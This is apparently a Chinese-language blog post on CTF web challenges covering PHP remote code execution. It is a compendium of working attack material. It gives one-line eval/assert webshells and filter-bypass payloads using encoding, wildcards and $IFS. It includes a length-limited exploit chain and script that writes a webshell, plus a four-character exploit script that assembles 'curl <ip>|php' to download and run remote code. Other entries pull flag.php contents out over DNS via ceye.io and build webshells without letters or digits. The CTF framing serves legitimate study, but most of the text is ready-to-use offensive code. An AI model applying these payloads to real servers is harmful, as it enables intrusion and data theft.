CTF中WEB题——RCE

CTF中WEB题——RCE

相关函数

命令执行

  • system()

    #string system ( string $command [, int &$return_var ] )
    #system()函数执行有回显,将执行结果输出到页面上
    <?php
    	system("whoami");
    ?>
    
  • exec()

    
    <?php
    	echo exec("whoami");
    ?>
    
  • popen()

    #resource popen ( string $command , string $mode )
    #函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
    
    <?php  
    $test = "ls /tmp/test";  
    $fp = popen($test,"r");  //popen打一个进程通道  
      
    while (!feof($fp)) {      //从通道里面取得东西  
     $out = fgets($fp, 4096);  
     echo  $out;         //打印出来  
    }  
    pclose($fp);  
    ?> 
    
  • proc_open()

    resource proc_open ( 
    string $cmd , 
    array $descriptorspec , 
    array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
    )
    #与Popen函数类似,但是可以提供双向管道
    <?php  
    $test = "ipconfig";  
    $array =   array(  
     array("pipe","r"),   //标准输入  
     array("pipe","w"),   //标准输出内容  
     array("pipe","w")    //标准输出错误  
     );  
      
    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
    echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
    proc_close($fp);  
    ?> 
    
  • passthru()

    #void passthru ( string $command [, int &$return_var ] )
    <?php
    	passthru("whoami");
    ?>
    
  • shell_exec()

    #string shell_exec( string &command)
    <?php
    	echo shell_exec("whoami");
    ?>
    
  • 反引号 `

    #shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
    <?php
    	echo `whoami`;
    ?>
    
  • pcntl_exec()

    #void pcntl_exec ( string $path [, array $args [, array $envs ]] )
    #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
    #args是一个要传递给程序的参数的字符串数组。
    #pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
    #pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
    <?php 
    	pcntl_exec ( "/bin/bash" , array("whoami"));
    ?>
    

代码注入

  • eval()

    #传入的参数必须为PHP代码,既需要以分号结尾。
    #命令执行:cmd=system(whoami);
    #菜刀连接密码:cmd
    <?php @eval($_POST['cmd']);?>
    
  • assert()

    #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
    #命令执行:cmd=system(whoami)
    #菜刀连接密码:cmd
    <?php @assert($_POST['cmd'])?>
    
  • preg_replace()

    #preg_replace('正则规则','替换字符','目标字符')
    #执行命令和上传文件参考assert函数(不需要加分号)。
    #将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
    
  • create_function()

    #创建匿名函数执行代码
    #执行命令和上传文件参考eval函数(必须加分号)。
    #菜刀连接密码:cmd
    $func =create_function('',$_POST['cmd']);$func();
    
  • array_map()

    #array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    #命令执行http://localhost/123.php?func=system   cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert   密码:cmd
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;
    
  • call_user_func()

    #传入的参数作为assert函数的参数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    call_user_func("assert",$_POST['cmd']);
    
  • call_user_func_array()

    #将传入的参数作为数组的第一个值传递给assert函数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    
  • array_filter()

    #用回调函数过滤数组中的元素:array_filter(数组,函数)
    #命令执行func=system&cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert  密码cmd
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    
  • uasort()

    #php环境>=<5.6才能用
    #uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
    #命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
    #菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
    usort($_GET,'asse'.'rt');
    

绕过方式

空格

#常见的绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔符

%0a  #换行符,需要php环境
%0d  #回车符,需要php环境
;    #在 shell 中,是”连续指令”
&    #不管第一条命令成功与否,都会执行第二条命令
&&   #第一条命令成功,第二条才会执行
|    #第一条命令的结果,作为第二条命令的输入
||   #第一条命令失败,第二条才会执行

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

  • 拼接绕过

    #执行ls命令:
    a=l;b=s;$a$b
    #cat flag文件内容:
    a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    #cat test文件内容
    a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
    
  • 编码绕过

    #base64
    echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
    echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
    #hex
    echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
    #oct/字节
    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    #i也可以通过这种方式写马
    #内容为<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
  • 单引号和双引号绕过

    c'a't test
    c"a"t test
    
  • 反斜杠绕过

    ca\t test
    
  • 通过$PATH绕过

    #echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
    #当执行程序时,shell自动跟据PATH变量的值去搜索该程序
    #shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
    echo $PATH 
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    `echo $PATH| cut -c 8,9`t test
    
  • 通配符绕过

    1. […]表示匹配方括号之中的任意一个字符
    2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
    3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
    cat t?st
    cat te*
    cat t[a-z]st
    cat t{a,b,c,d,e,f}st
    

限制长度

>a    #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a    #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接    #l\ s    =    ls
base64    #使用base64编码避免特殊字符
  • 七字符限制

    w>hp
    w>1.p\\
    w>d\>\\
    w>\ -\\
    w>e64\\
    w>bas\\
    w>7\|\\
    w>XSk\\
    w>Fsx\\
    w>dFV\\
    w>kX0\\
    w>bCg\\
    w>XZh\\
    w>AgZ\\
    w>waH\\
    w>PD9\\
    w>o\ \\
    w>ech\\
    ls -t|\
    sh
    

    翻译过来就是

    echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
    

    脚本代码

    import requests
     
    url = "http://192.168.1.100/rce.php?1={0}"
    print("[+]start attack!!!")
    with open("payload.txt","r") as f:
    	for i in f:
    		print("[*]" + url.format(i.strip()))
    		requests.get(url.format(i.strip()))
     
    #检查是否攻击成功
    test = requests.get("http://192.168.61.157/1.php")
    if test.status_code == requests.codes.ok:
    	print("[*]Attack success!!!")
    
  • 四字符限制

    #-*-coding:utf8-*-
    import requests as r
    from time import sleep
    import random
    import hashlib
    target = 'http://52.197.41.31/'
     
    # 存放待下载文件的公网主机的IP
    shell_ip = 'xx.xx.xx.xx'
     
    # 本机IP
    your_ip = r.get('http://ipv4.icanhazip.com/').text.strip()
     
    # 将shell_IP转换成十六进制
    ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                         for i in shell_ip.split('.')])
     
    reset = target + '?reset'
    cmd = target + '?cmd='
    sandbox = target + 'sandbox/' + 
        hashlib.md5('orange' + your_ip).hexdigest() + '/'
     
    # payload某些位置的可选字符
    pos0 = random.choice('efgh')
    pos1 = random.choice('hkpq')
    pos2 = 'g'  # 随意选择字符
     
    payload = [
        '>dir',
        # 创建名为 dir 的文件
     
        '>%s>' % pos0,
        # 假设pos0选择 f , 创建名为 f> 的文件
     
        '>%st-' % pos1,
        # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
        # 因为alphabetical序中t>s
     
        '>sl',
        # 创建名为 >sl 的文件;到此处有四个文件,
        # ls 的结果会是:dir f> kt- sl
     
        '*>v',
        # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
        #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
        # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
     
        '>rev',
        # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
     
        '*v>%s' % pos2,
        # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
        # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
     
        # 续行分割 curl 0x11223344|php 并逆序写入
        '>p',
        '>ph\',
        '>|\',
        '>%s\' % ip[8:10],
        '>%s\' % ip[6:8],
        '>%s\' % ip[4:6],
        '>%s\' % ip[2:4],
        '>%s\' % ip[0:2],
        '> \',
        '>rl\',
        '>cu\',
     
        'sh ' + pos2,
        # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
        # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
        'sh ' + pos0,
        # sh f 执行curl命令,下载文件,写入木马。
    ]
     
    s = r.get(reset)
    for i in payload:
        assert len(i) <= 4
        s = r.get(cmd + i)
        print '[%d]' % s.status_code, s.url
        sleep(0.1)
    s = r.get(sandbox + 'fun.php?cmd=uname -a')
    print '[%d]' % s.status_code, s.url
    print s.text
    

限制回显

  • 判断

    #利用sleep判断
    ls;sleep 3
    #http请求/dns请求
    http://ceye.io/payloads
    
  • 利用

    #写shell(直接写入/外部下载)
    echo >
    wget
    #http/dns等方式带出数据
    #需要去掉空格,可以使用sed等命令
    echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
    

无字母、数字getshell

异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

简短写法

"`{{{"^"?<>/"   //_GET

取反

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

简短写法

${~"\xa0\xb8\xba\xab"} //$_GET

自增

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

实例

<?php
include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

payload:

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另fuzz 出了长度为 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
#getFlag()

代码执行参考链接

命令执行参考链接

绕过姿势参考

绕过方式参考

绕过字符限制

无字母数字getshell

posted @ 2020-10-31 10:23  tomyyyyy  阅读(2240)  评论(0编辑  收藏  举报